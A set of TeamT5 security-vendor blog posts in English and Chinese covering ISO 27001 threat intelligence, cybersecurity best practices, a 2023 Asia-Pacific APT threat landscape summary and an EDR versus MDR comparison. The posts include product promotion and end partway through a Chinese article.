進一步，企業與組織也應考慮3個層級的威脅情資，以妥善掌握攻擊者的攻擊手法。3個層級的威脅情資為：
1. **戰略型威脅情資(Strategic Threat Intelligence)**：無技術細節，由 CXO 層級使用；用於辨別誰會想攻擊? 為何想攻擊?
2. **實戰型威脅情資(Operational Threat Intelligence)**：需要技術背景，由SOC 主管、分析研究員等使用；用於理解攻擊者的TTP (戰術 Tactics 、技術 Techniques、流程 Procedures)
3. **戰術型威脅情資(Tactical Threat Intelligence)**：需要技術背景，通常是 SOC 人員使用；以入侵指標(indicator of compromise, IoC)，監看特定攻擊事件

 

企業與組織可以自行生成自己的威脅情資。但通常，善用他人提供的威脅情資是更好的選擇。

企業與組織導入他人已經分析淬鍊的威脅情資，可以節省時間、金錢與人力投入，更可廣泛地掌握其面臨的資安威脅，避免藏在暗處的駭客攻擊團隊與尚未獲得大眾關注的高深攻擊手法。

國際的威脅情資來源，例如美國非營利組織 MITRE 營運的 CVE 平台，其提供系統漏洞資訊與緩解措施；臺灣的威脅情資來源，例如台灣電腦網路危機處理暨協調中心，是國家級進行情資蒐集、整理與分享的單位。

 

企業與組織也可採納第三方供應商提供的威脅情資。TeamT5 杜浦數位安全即為提供亞太地區威脅情資的領導品牌。

TeamT5 杜浦數位安全成立於台灣，善用地理和文化優勢，研究並發布威脅情資報告。威脅情資類別涵蓋戰略型、實戰型與戰術型內容，利於資安團隊預見潛在的威脅和事件，並為決策者提供行動指引，進一步做出準確的資安防禦決策並降低風險。內容則涵蓋漏洞分析、進階持續性攻擊、勒索軟體等常見的資安威脅。

>更了解 TeamT5 杜浦數位安全的威脅情資內容與解決方案: [ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website)

掌握威脅情資來源，面對 ISO 27001 改版稽核更輕鬆 

>ISO 27001 has recently been revised, integrating control measures from the 14 control areas of the old version into four major categories, including Organization Controls, People Controls, Physical Controls, and Technical Controls. In addition, some clauses have additional requirements, adjusted terms, etc.

>This article specifically introduces "A.5.7 Threat intelligence" in the "Organizational Control" category of the **ISO 27001: 2022** version, in order to help enterprises and organizations improve the quality of cybersecurity management.

**Threat intelligence** refers to information related to network attacks, which is collected, converted, analyzed, and interpreted by a professional team to provide the basis for the cybersecurity decision-making process.

The "A.5.7 Threat intelligence" control measures of ISO 27001: 2022 recommend that enterprises and organizations should collect and analyze information related to information security threats to generate threat intelligence, determine what threats the enterprise may face, and take further defensive measures.

To comply with this requirement, businesses and organizations should do the following:
- Regularly review the threat environment of the enterprise (by reviewing reports from government agencies and other organizations).
- Sources of threats should be identified (e.g., insiders, competitors, criminals, terrorist groups).
- Identify possible new attack vectors and trends based on current and past events.
- Establish defenses that help mitigate information security threats to your organization.

 

Furthermore, enterprises and organizations should also consider three levels of threat intelligence to properly understand attackers’ attack methods. The three levels of threat intelligence are:
1. **Strategic Threat Intelligence**: No technical details, used by the CXO level; used to identify who would want to attack? Why would they want to attack?
2. **Operational Threat Intelligence**: requires technical background, used by SOC supervisors, analysis researchers, etc.; used to understand the attacker's TTP (tactics, techniques, procedures).
3. **Tactical Threat Intelligence:** requires technical background, usually used by SOC personnel; monitors specific attack events with indicators of compromise (IoC).

 

Businesses and organizations can generate their own threat intelligence. But it's often better to take advantage of threat intelligence provided by others.

Enterprises and organizations can import threat information that has been analyzed and chained by others, which can save time, money and manpower investment. It can also comprehensively understand the cybersecurity threats they face, and avoid hacker attack teams hiding in the dark and those who have not yet gained public attention. Advanced attack techniques.

International threat intelligence sources, such as the CVE platform operated by the US non-profit organization MITER, which provides system vulnerability information and mitigation measures.

 

Businesses and organizations can also use threat intelligence provided by third-party vendors. TeamT5 is the leading brand in providing threat intelligence in the Asia-Pacific region.

TeamT5 takes advantage of geographical and cultural advantages to research and publish threat intelligence reports. The threat intelligence category covers strategic, operational and tactical content, which helps the cybersecurity team foresee potential threats and events, and provides action guidance for decision-makers to further make accurate cybersecurity defense decisions in order to reduce risks. The content covers cybersecurity threats such as vulnerability analysis and advanced persistent attacks.

 

> Know more about our threat intelligence solution: [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website)

Streamlining ISO 27001 Audit with Comprehensive Threat Intelligence Sources

In an era where digital transformation is driving business operations, the risk of cyber threats has never been higher. Cybercriminals are becoming more sophisticated, targeting organizations of all sizes. As a cybersecurity professional, you should recognize the importance of adopting a proactive approach to safeguarding sensitive information.

This article will delve into the best tools and practices to fortify your organization against cyber threats effectively.

 
## I. Threat Intelligence Platform: A Strategic Foundation

A robust threat intelligence platform forms the bedrock of any effective cybersecurity strategy. This tool enables your organization to gather, analyze, and act upon relevant threat data in real-time. By integrating threat intelligence into your security infrastructure, you empower your team to identify potential risks before they escalate.

### Understanding Threat Intelligence:

- Threat feeds and sources: Leveraging a diverse range of threat feeds enhances the comprehensiveness of your threat intelligence.

- Indicators of compromise (IoCs): Identifying IoCs allows for the early detection of potential security incidents.

### Operationalizing Threat Intelligence:

- Integration with security tools: Seamless integration with endpoint detection and response (EDR) solutions enhances the ability to respond rapidly to emerging threats.

- Automated response mechanisms: Implementing automated responses based on threat intelligence minimizes manual intervention and accelerates incident response.

 
## II. Endpoint Detection and Response (EDR): Safeguarding the Perimeter

Endpoint Detection and Response (EDR) solutions play a pivotal role in detecting and responding to threats at the endpoint level.

### Key Features of EDR:

- Real-time monitoring: EDR tools continuously monitor endpoint activities, providing real-time visibility into potential threats.

- Behavioral analysis: By analyzing endpoint behavior, these solutions can identify anomalies indicative of malicious activities.

### Effective Implementation Strategies:

- Customized policies: Tailoring EDR policies to your organization's specific needs ensures a more targeted and efficient security approach.

- Regular updates and training: Keeping endpoint security measures up-to-date and providing ongoing training to employees are essential components of a comprehensive cybersecurity strategy.

 
## III. Best Practices for Cybersecurity: A Holistic Approach

Beyond specific tools, adopting best practices is crucial for creating a holistic cybersecurity framework. 

### Employee Awareness and Training:

- Phishing awareness programs: Educating employees about phishing threats and implementing simulated phishing exercises strengthens their ability to recognize and report potential attacks.

- Regular training sessions: Conducting periodic cybersecurity training sessions ensures that employees stay informed about the latest threats and security protocols.

### Incident Response Planning:

- Clearly defined response roles: Establishing well-defined roles and responsibilities within the incident response team streamlines the reaction to security incidents.

- Tabletop exercises: Regularly conducting simulated exercises prepares your team for real-world scenarios, enhancing their response capabilities.

### Continuous Monitoring and Evaluation:

- Regular security assessments: Periodic evaluations of your cybersecurity measures help identify potential vulnerabilities and areas for improvement.

- Incident post-mortems: Analyzing past incidents allows your organization to learn from experiences and refine security protocols.

 
## Conclusion: Elevating Your Cybersecurity Posture

In the ever-evolving landscape of cybersecurity, a proactive and multi-faceted approach is essential. The importance of a robust threat intelligence platform, effective endpoint detection and response, and adherence to best practices, position your company as a trusted partner in the business world will help you build trust from clients.

Remember, in the dynamic realm of cybersecurity, the key lies not only in the tools you employ but also in the practices you instill across your organization. Through clear and professional communication, you can effectively convey the gravity of the cybersecurity landscape and the pivotal role your organization plays in securing the digital future.


>TeamT5 provides solutions you need to build holistic cyberdefense!
>
>With our threat intelligence platform, [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website), you may foresee potential threats & incidents and deliver action items for decision-makers to make accurate decisions and mitigate risks.
>
>With our threat hunting tool, [ThreatSonar](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website), you may hunt down cyber threats with capabilities in compromise assessment, auto-investigation, and orchestration. Equipped with over 100 built-in IoCs and thousands of backdoor indicators, ThreatSonar helps discover threats and execute incident responses remotely in a post-compromised environment.

 
 
*banner source: pexles

Cybersecurity Best Practices: Beyond Tools to a Holistic Approach

在數位轉型推動業務營運的時代，網路威脅的風險急遽升高。 網路攻擊手法變得越來越複雜，更針對各種規模的企業進行攻擊。

本文將介紹防禦網路威脅的最佳工具和實踐方法。
 
## 一、威脅情資平台：資安策略的重要基礎

強大的威脅情資平台是任何有效網路安全策略的基石。該工具使企業能夠即時收集、分析相關威脅資料並採取行動 透過將威脅情資整合到資訊安全基礎設施中，企業的資安團隊能更有效地在潛藏的資安風險影響企業前，識別出威脅。


###了解威脅情資：
- 威脅來源與來源：利用各種威脅來源可以增強威脅情資的全面性。

- 入侵指標 (IoC)：識別 IoC 可以及早發現潛在的安全事件。


###導入威脅情資：
- 與資訊安全解決方案整合：導入威脅情資，並與端點偵測和回應 (EDR) 解決方案整合，有助企業提升快速回應新興資安威脅的能力。

- 自動化反應機制：基於威脅情資實施自動化應便，盡量減少人工干預，加快事件回應速度。

 
## 二、端點偵測與回應(EDR) 解決方案：保護端點環境

端點偵測和回應 (EDR) 解決方案在偵測和回應端點層級的威脅方面，發揮關鍵作用。

###EDR 的主要特點：
- 即時監控：EDR 工具持續監控端點活動，提供潛在威脅的即時可見度。

- 行為分析：透過分析端點行為，這些解決方案可以識別出顯示惡意活動的異常情況。


### 有效的實施策略：
- 客製化策略：根據企業的特定需求客製化 EDR 策略，確保採取更有針對性、更有效率的安全方法。

- 定期更新和培訓：保持端點採取最新安全措施，並為員工提供持續培訓，是全面網路安全策略的重要作法。

 
## 三、網路安全最佳實踐：整體方法

除了特定工具之外，採用最佳實踐對於創建整體網路安全框架十分重要。

#### 員工意識和培訓：
- 網路釣魚意識計畫：對員工進行網路釣魚威脅教育並實施模擬網路釣魚練習，增強他們識別和報告潛在攻擊的能力。
- 定期培訓課程：定期舉辦網路安全培訓課程，可確保員工隨時了解最新的威脅和安全協議。


#### 事件應變計劃：
- 明確定義的應變角色：在事件應變團隊內建立明確定義的角色和職責可以簡化對安全事件的反應。
- 模擬演習：定期進行模擬演習可以讓企業團隊為現實場景做好準備，增強他們的回應能力。


#### 持續監測和評估：
- 定期安全評估：定期評估網路安全措施有助於識別潛在的漏洞和需要改進的領域。
- 事件事後分析：分析過去的事件可以讓企業從經驗中學習，並完善安全計畫。

 
##結論：提升企業資安防禦能量

在不斷演變的網路安全威脅態勢中，採用主動防禦、多元化的方法十分重要。 強大的威脅情資平台、有效的端點偵測和回應以及遵守最佳實踐的重要性，將協助企業打造資安韌性，成為商業界值得信賴的合作夥伴。

資安防禦關鍵不僅在於企業使用的工具，整個企業中執行的實踐做法也相當重要。 

>TeamT5 提供您建立整體網路防禦所需的解決方案！
>
>透過我們的威脅情資平台 [ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website)，您可以預見潛在的威脅和事件，並為決策者提供行動項目，以做出準確的決策並降低風險。
>
>透過我們的威脅搜尋工具 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website)，您可以精準捕網路威脅。 ThreatSonar 內建數千種 APT 後門特徵，將最新情資帶到每個端點，進行鑑識，有助於在受感染後的環境中遠端發現威脅，並採取應對措施。

網路安全最佳實踐：從工具導入到全面防禦策略

TeamT5 is a leading brand in delivering Asia Pacific intelligence. In this article, we summarize the threat landscape of advanced persistent threats (APT) in the Asia-Pacific region in 2023, not only provide annual observations, but also point out the cyber threats worth paying attention to in 2024.

>**This article is an excerpt version which summarizes key statistics. To obtain the complete threat intelligence report, you may fill up the form at the bottom to obtain the “APT Threat Landscape in APAC 2023” report. **
>
>This article is adapted from "2023 H2 Campaign Tracking Report: APT Threat Landscape in Asia". To discover similar cyber threat intelligence which is focused in Asia-Pacific region, please sign up for the trial of our threat intelligence platform ThreatVision. 
>Please indicate on the [ThreatVision page](https://teamt5.org/en/products/threatvision/?utm_source=blogs&utm_medium=website) that you would like to apply for trial.

## Preface
TeamT5’s cyber threat intelligence research based on well-built data collection and analysis flow. We collect data from multiple sources - malware databases, sandboxes, crawlers, and our threat forensic analysis platform ThreatSonar etc. With careful and rigorous analysis, we come up with intelligence reports for clients and the public to notify potential threats.

**For 2023, based on TeamT5 data collection and analysis, we found:**
- 411 attack operations in 39 countries
- 60 known adversary groups tracked
- 210 malware / hacking tools used

 
![01_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/01_apt-threat-landscape-in-apac-2023.jpg)
 

## Closer Look at Exploits
In 2023, we have observed at least 37 CVE exploits that were abused in the wild by threat actors. We see a tendency that more and more exploits targeting edge devices appear, which we marked with color yellow in the right table. These edge devices have no security products to monitor them so threat actors could effectively intrude their target network environments. 

There are still lots of attacks achieved spear phishing emails but the corresponding tricks are old fashioned, such as:
- Template Injection
- Microsoft LNK 
- CHM
- Macro documents
- Phishing
- CVE-2018-0798, CVE-2022-30190, CVE-2023-38831

 
![02_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/02_apt-threat-landscape-in-apac-2023.jpg)
 

##Closer Look at Malwares
We listed the malware distribution in all attacks. Below is the ranking of **Top 10 Malwares in 2023 H1** and **Top 15 Malwares in 2023 H2**.

 
![03_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/03_apt-threat-landscape-in-apac-2023.jpg)
 

We compare these two ranks with 4 aspects - Shared tools, Webshell, Cross platform RAT, Shared Quartermaster of Chinese APT. Here is our analysis.

**1. About shared tools **

There are more and more threat actors adopting public or open source tools in their operations. This could effectively reduce their effort to develop their own weapons and also increase the barrier for researchers like us to achieve an effective attribution.

 
![04_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/04_apt-threat-landscape-in-apac-2023.jpg)
 

**2. About Webshell**

Web server exploitations have become more and more common nowadays and the importance of webshell keeps increasing. Godzilla, a full featured webshell made by Chinese threat actors, has become the favorite of Chinese APT. It is usually deployed jointly with a small webshell like China Chopper to effectively bypass detections.

 
![05_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/05_apt-threat-landscape-in-apac-2023.jpg)
 

**3. About Cross Platform RAT**

There are more and more cross platform or multi platform RAT. The reason behind is nowadays threat actors don’t only focus on Windows platform but will intrude from every possible platform like Linux, MacOS or even Android or iOS.

 
![06_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/06_apt-threat-landscape-in-apac-2023.jpg)
 

**4. Shared Quartermaster of Chinese APT**

We have observed an interesting code or feature sharing between different malware used by Chinese APT. This kind of finding makes us highly suspect there is an entity or even private company that is responsible for producing all these remote administration tools and distributing them secretly to various Chinese APT groups.

 
![07_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/07_apt-threat-landscape-in-apac-2023.jpg)
 

##Closer Look at Targeted Countries / Regions by APT Groups

From countries / regions aspects, our data shows Taiwan, South Korea, and Japan are the most targeted countries by APT groups. Following them are countries in South or Southeast Asia, such as Vietnam, Philippine, Thailand, or Malaysia, etc. 

 
![08_09_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/08_09_apt-threat-landscape-in-apac-2023.jpg)
 

Based on this statistic, we will discuss 3 different victim areas and corresponding active threat actors, they are Taiwan, Northeast Asia, and South/Southeast Asia.

###No.1 Targeted Country / Region: Taiwan
Taiwan is the most targeted country in Asia Pacific. This chart shows the distribution of targeted industry sectors. Compared with our data in the past 2 years (2021-2022), we don’t see dramastic changes. Government, IT, education, or critical infrastructure are still on the top list. 

People might wonder why APT actors are so interested in the IT sector. We believe the reason is that there are more and more supply chain attacks and these IT companies possess good channels or privileges to access big companies or government entities. It makes the IT sector a perfect hopping point. 

And one interesting phenomena we have observed is the surging attack against the healthcare industry. We suspect the reason behind the attacks are the Taiwanese government’s effort to join WHA, or China’s ambition to collect personal identification information.

 
![10_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/10_apt-threat-landscape-in-apac-2023.jpg)
 

In the threat actors' part, there are at least 21 known groups aiming at Taiwan in 2023. Among them are Huapi, Amoeba, and Polaris - they are old faces that are on the top list hitting Taiwan. In the meantime, there is a new face, SLIME13 (also known as FlaxTyphoon by Microsoft). 

SLIME13’s operations became so wild in 2023 that we have observed more than 100 victim entities in Taiwan. This APT group also aggressively expands their attacks to other countries such as Hong Kong, Japan or South Korea, etc.

 
![11_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/11_apt-threat-landscape-in-apac-2023.jpg)
 

###No.2 Targeted Country / Region: Northeast Asia

In the Northeast Asia region, the geopolitical situation has changed dramatically in the past 2 years because Japan and South Korea are united together with the U.S. to defend against their enemies in the neighborhood. 

For this reason, the topmost targeted sectors include government, think tank, and education. These sectors often hold political documents or do sensitive research for their governments. Another interesting phenomena would be China’s attacks against South Korea which were stealthy and low profile in the past. But now China’s attacks turned to become high profile and public, threat actors such as 曉騎營 or 騰蛇 are some good example. Cryptocurrency sectors in this area are targeted and infiltrated by North Korean actors.

 
![12_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/12_apt-threat-landscape-in-apac-2023.jpg)
 


For the threat actors part, China and North Korea actors dominate this area. North Korean actors are busy collecting geopolitical intelligence and another mission: earning money for their country. In contrast, Chinese APT operations become more stealthy and harder to detect; there are several big campaigns of Barracuda, Fortigate, Citrix or ArrayVPN vulnerabilities. Many of the events are still under investigation or even uncovered yet. 

 
![13_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/13_apt-threat-landscape-in-apac-2023.jpg)
 

###No.3 Targeted Country / Region: South Asia & Southeast Asia
The third target country / region is the South Asia and Southeast Asia region. Our observations show attacks in this area are driven by issues of the South China Sea, border issues or belt & road and shift of international organization’s factory. That was reflected in the most targeted sectors - military and critical infrastructure are all closely bundled with these issues.

In the southeast Asia region, threat actors from China such as Polaris, Amoeba, Gudiao and Vietnam originated groups such as SLIME43 or OceanLotus are very active in these regions. The interesting part regarding Vietnamese APT groups is that they are not only a big concern of neighboring countries but also the domestic people in Vietnam. Our engagement with Vietnamese customers shows their great fear of being intruded by OceanLotus.

 
![14_apt-threat-landscape-in-apac-2023.jpg)](https://uploads.teamt5.org/upload/original/14_apt-threat-landscape-in-apac-2023.jpg)
 

In the South Asia region, China is also busy attacking and monitoring their neighbors. People might consider Pakistan to be a good friend of China so they could be spared. In contrast, our data shows Pakistan to be highly targeted and infiltrated by China. Another interesting thing is that India and Pakistan both have their own cyber actors and they are fighting with each other a lot.

 
![15_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/15_apt-threat-landscape-in-apac-2023.jpg)
 

##Conslusion
2023 is a busy year, both for threat actors and defenders. Also, more tensions in geopolitics will keep bringing more cyber attacks. 

New technology might solve human’s problems, but not for attack and defense scenarios. New technology becomes a new opportunity for attackers as well (e.g. cloud services, AI). The reason is that targeted attacks are human-driven; defenders should address human problems by adopting threat intelligence.

No one can be spared in the war in the cyber world, so be prepared!

 
 

>**This article is an excerpt version which summarizes key statistics. To obtain the complete threat intelligence report, you may fill up the form at the bottom to obtain the “APT Threat Landscape in APAC 2023” report. **
>
>This article is adapted from "2023 H2 Campaign Tracking Report: APT Threat Landscape in Asia". To discover similar cyber threat intelligence which is focused in Asia-Pacific region, please sign up for the trial of our threat intelligence platform ThreatVision. 
>Please indicate on the [ThreatVision page](https://teamt5.org/en/products/threatvision/?utm_source=blogs&utm_medium=website) that you would like to apply for trial.

APT Threat Landscape in APAC 2023:  New Strategy, New Normal, New Techniques, and New Territory

TeamT5 杜浦數位安全為專精亞太地區威脅情資的領導品牌。於此篇文章中，我們總結 2023 年亞太地區進階持續性威脅 (APT) 的威脅態勢，不僅提出年度觀察，更指出未來一年值得留意的資安威脅。

>本篇文章為節錄版，摘述關鍵數據與威脅情資分析。欲取得完整《2023年威脅態勢回顧》報告，您可以直接填寫文章末尾表格，我們將透過電子郵件、寄送給您。

>本篇文章改寫自《2023 H2 Campaign Tracking Report: APT Threat Landscape in Asia》，探索與此相關的報告與更多亞太地區的威脅情資，立刻申請威脅情資平台 ThreatVision 試用機會。請在 [ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blogs&utm_medium=website) 頁面說明您希望申請試用。


## Preface
TeamT5’s cyber threat intelligence research based on well-built data collection and analysis flow. We collect data from multiple sources - malware databases, sandboxes, crawlers, and our threat forensic analysis platform ThreatSonar etc. With careful and rigorous analysis, we come up with intelligence reports for clients and the public to notify potential threats.

**For 2023, based on TeamT5 data collection and analysis, we found:**
- 411 attack operations in 39 countries
- 60 known adversary groups tracked
- 210 malware / hacking tools used

 
![01_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/01_apt-threat-landscape-in-apac-2023.jpg)
 

## Closer Look at Exploits
In 2023, we have observed at least 37 CVE exploits that were abused in the wild by threat actors. We see a tendency that more and more exploits targeting edge devices appear, which we marked with color yellow in the right table. These edge devices have no security products to monitor them so threat actors could effectively intrude their target network environments. 

There are still lots of attacks achieved spear phishing emails but the corresponding tricks are old fashioned, such as:
- Template Injection
- Microsoft LNK 
- CHM
- Macro documents
- Phishing
- CVE-2018-0798, CVE-2022-30190, CVE-2023-38831

 
![02_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/02_apt-threat-landscape-in-apac-2023.jpg)
 

##Closer Look at Malwares
We listed the malware distribution in all attacks. Below is the ranking of **Top 10 Malwares in 2023 H1** and **Top 15 Malwares in 2023 H2**.

 
![03_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/03_apt-threat-landscape-in-apac-2023.jpg)
 

We compare these two ranks with 4 aspects - Shared tools, Webshell, Cross platform RAT, Shared Quartermaster of Chinese APT. Here is our analysis.

**1. About shared tools **

There are more and more threat actors adopting public or open source tools in their operations. This could effectively reduce their effort to develop their own weapons and also increase the barrier for researchers like us to achieve an effective attribution.

 
![04_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/04_apt-threat-landscape-in-apac-2023.jpg)
 

**2. About Webshell**

Web server exploitations have become more and more common nowadays and the importance of webshell keeps increasing. Godzilla, a full featured webshell made by Chinese threat actors, has become the favorite of Chinese APT. It is usually deployed jointly with a small webshell like China Chopper to effectively bypass detections.

 
![05_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/05_apt-threat-landscape-in-apac-2023.jpg)
 

**3. About Cross Platform RAT**

There are more and more cross platform or multi platform RAT. The reason behind is nowadays threat actors don’t only focus on Windows platform but will intrude from every possible platform like Linux, MacOS or even Android or iOS.

 
![06_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/06_apt-threat-landscape-in-apac-2023.jpg)
 

**4. Shared Quartermaster of Chinese APT**

We have observed an interesting code or feature sharing between different malware used by Chinese APT. This kind of finding makes us highly suspect there is an entity or even private company that is responsible for producing all these remote administration tools and distributing them secretly to various Chinese APT groups.

 
![07_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/07_apt-threat-landscape-in-apac-2023.jpg)
 

##Closer Look at Targeted Countries / Regions by APT Groups

From countries / regions aspects, our data shows Taiwan, South Korea, and Japan are the most targeted countries by APT groups. Following them are countries in South or Southeast Asia, such as Vietnam, Philippine, Thailand, or Malaysia, etc. 

 
![08_09_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/08_09_apt-threat-landscape-in-apac-2023.jpg)
 

Based on this statistic, we will discuss 3 different victim areas and corresponding active threat actors, they are Taiwan, Northeast Asia, and South/Southeast Asia.

###No.1 Targeted Country / Region: Taiwan
Taiwan is the most targeted country in Asia Pacific. This chart shows the distribution of targeted industry sectors. Compared with our data in the past 2 years (2021-2022), we don’t see dramastic changes. Government, IT, education, or critical infrastructure are still on the top list. 

People might wonder why APT actors are so interested in the IT sector. We believe the reason is that there are more and more supply chain attacks and these IT companies possess good channels or privileges to access big companies or government entities. It makes the IT sector a perfect hopping point. 

And one interesting phenomena we have observed is the surging attack against the healthcare industry. We suspect the reason behind the attacks are the Taiwanese government’s effort to join WHA, or China’s ambition to collect personal identification information.

 
![10_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/10_apt-threat-landscape-in-apac-2023.jpg)
 

In the threat actors' part, there are at least 21 known groups aiming at Taiwan in 2023. Among them are Huapi, Amoeba, and Polaris - they are old faces that are on the top list hitting Taiwan. In the meantime, there is a new face, SLIME13 (also known as FlaxTyphoon by Microsoft). 

SLIME13’s operations became so wild in 2023 that we have observed more than 100 victim entities in Taiwan. This APT group also aggressively expands their attacks to other countries such as Hong Kong, Japan or South Korea, etc.

 
![11_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/11_apt-threat-landscape-in-apac-2023.jpg)
 

###No.2 Targeted Country / Region: Northeast Asia

In the Northeast Asia region, the geopolitical situation has changed dramatically in the past 2 years because Japan and South Korea are united together with the U.S. to defend against their enemies in the neighborhood. 

For this reason, the topmost targeted sectors include government, think tank, and education. These sectors often hold political documents or do sensitive research for their governments. Another interesting phenomena would be China’s attacks against South Korea which were stealthy and low profile in the past. But now China’s attacks turned to become high profile and public, threat actors such as 曉騎營 or 騰蛇 are some good example. Cryptocurrency sectors in this area are targeted and infiltrated by North Korean actors.

 
![12_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/12_apt-threat-landscape-in-apac-2023.jpg)
 


For the threat actors part, China and North Korea actors dominate this area. North Korean actors are busy collecting geopolitical intelligence and another mission: earning money for their country. In contrast, Chinese APT operations become more stealthy and harder to detect; there are several big campaigns of Barracuda, Fortigate, Citrix or ArrayVPN vulnerabilities. Many of the events are still under investigation or even uncovered yet. 

 
![13_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/13_apt-threat-landscape-in-apac-2023.jpg)
 

###No.3 Targeted Country / Region: South Asia & Southeast Asia
The third target country / region is the South Asia and Southeast Asia region. Our observations show attacks in this area are driven by issues of the South China Sea, border issues or belt & road and shift of international organization’s factory. That was reflected in the most targeted sectors - military and critical infrastructure are all closely bundled with these issues.

In the southeast Asia region, threat actors from China such as Polaris, Amoeba, Gudiao and Vietnam originated groups such as SLIME43 or OceanLotus are very active in these regions. The interesting part regarding Vietnamese APT groups is that they are not only a big concern of neighboring countries but also the domestic people in Vietnam. Our engagement with Vietnamese customers shows their great fear of being intruded by OceanLotus.

 
![14_apt-threat-landscape-in-apac-2023.jpg)](https://uploads.teamt5.org/upload/original/14_apt-threat-landscape-in-apac-2023.jpg)
 

In the South Asia region, China is also busy attacking and monitoring their neighbors. People might consider Pakistan to be a good friend of China so they could be spared. In contrast, our data shows Pakistan to be highly targeted and infiltrated by China. Another interesting thing is that India and Pakistan both have their own cyber actors and they are fighting with each other a lot.

 
![15_apt-threat-landscape-in-apac-2023.jpg](https://uploads.teamt5.org/upload/original/15_apt-threat-landscape-in-apac-2023.jpg)
 

##Conslusion
2023 is a busy year, both for threat actors and defenders. Also, more tensions in geopolitics will keep bringing more cyber attacks. 

New technology might solve human’s problems, but not for attack and defense scenarios. New technology becomes a new opportunity for attackers as well (e.g. cloud services, AI). The reason is that targeted attacks are human-driven; defenders should address human problems by adopting threat intelligence.

No one can be spared in the war in the cyber world, so be prepared!


 
 


 

>本篇文章為節錄版，摘述關鍵數據與威脅情資分析。欲取得完整《2023年威脅態勢回顧》報告，您可以直接填寫文章末尾表格，我們將透過電子郵件、寄送給您。

>本篇文章改寫自《2023 H2 Campaign Tracking Report: APT Threat Landscape in Asia》，探索與此相關的報告與更多亞太地區的威脅情資，立刻申請威脅情資平台 ThreatVision 試用機會。請在 [ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blogs&utm_medium=website) 頁面說明您希望申請試用。

2023年威脅態勢回顧: 網路攻擊的新策略、新常態、新技術和新領域【英文威脅情資報告】

When it comes to endpoint security, enterprises often come across two key names: EDR (Endpoint Detection and Response) and MDR (Managed Detection and Response). Both of them play an important role in protecting enterprises from cybersecurity threats. However, there are still key differences between the two. It is recommended that enterprises carefully evaluate their own needs and choose the option that best suits their own cybersecurity protection needs.

## Endpoint Detection and Response (EDR) solution

- **Definition**: EDR refers to endpoint security solutions, which mainly assist enterprises to detect, identify and respond to possible threats, especially threats that endpoint devices (such as desktop computers and laptops) may encounter - ransomware, advanced persistent attacks (APT) etc.

- **Function**: EDR solutions usually provide real-time monitoring, log collection, threat detection and analysis functions; using information-rich pictures to help enterprises quickly track abnormal activities on endpoints and respond quickly to potential threats.

- **Purpose**: Mainly used to detect and combat threats on endpoints. It usually requires internal management and operation by the company's internal team to achieve the goal of cybersecurity protection.

## Managed Detection and Response (MDR) service

- **Definition**: MDR is a managed service that enterprises outsource and entrust cybersecurity vendors to assist enterprises in identifying, analyzing and responding to threats.

- **Functionality**: MDR services typically include 24/7 monitoring, incident analysis, threat hunting, and threat response. These services help organizations quickly respond to threats without having to own or operate endpoint security-related solutions themselves.

- **Purpose**: By using this service, enterprises can benefit from the knowledge and technology of professional security vendors and reduce the workload of maintaining an internal security team.

## Conclusion
The main difference between the two is – EDR is a technology solution, while MDR is an outsourced hosting service. EDR usually requires enterprises to manage and apply solutions by themselves. Although it has more room for autonomy, it also requires a large investment of money and time; MDR leaves the enterprise's threat detection and response steps to external professionals.

Enterprises can choose suitable solutions based on their needs and resource distribution.

> TeamT5 provides EDR solution "ThreatSonar Anti-ransomware" and MDR services. Our team members have more than 20 years of experience in cybersecurity threat investigation and analysis, and have assisted customers in the government, financial industry, technology industry, manufacturing industry, etc. to achieve cybersecurity defense goals.

>Contact us to learn how your enterprises can optimize your security defense.
 
>[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blogs&utm_medium=website)

 
_key words: EDR vs MDR, EDR vs. MDR_

Comparison of Key Differences between EDR and MDR

當談到端點安全時，企業經常會遇到兩個關鍵名字：**EDR（Endpoint Detection and Response）**和 **MDR（Managed Detection and Response）**。這兩者在保護企業免受資安威脅時，都扮演了重要的角色，然而兩者仍有關鍵差異，建議企業審慎評估自身的需求，選擇最適合自身資安防護需求的選項。

 

## EDR（Endpoint Detection and Response）解決方案

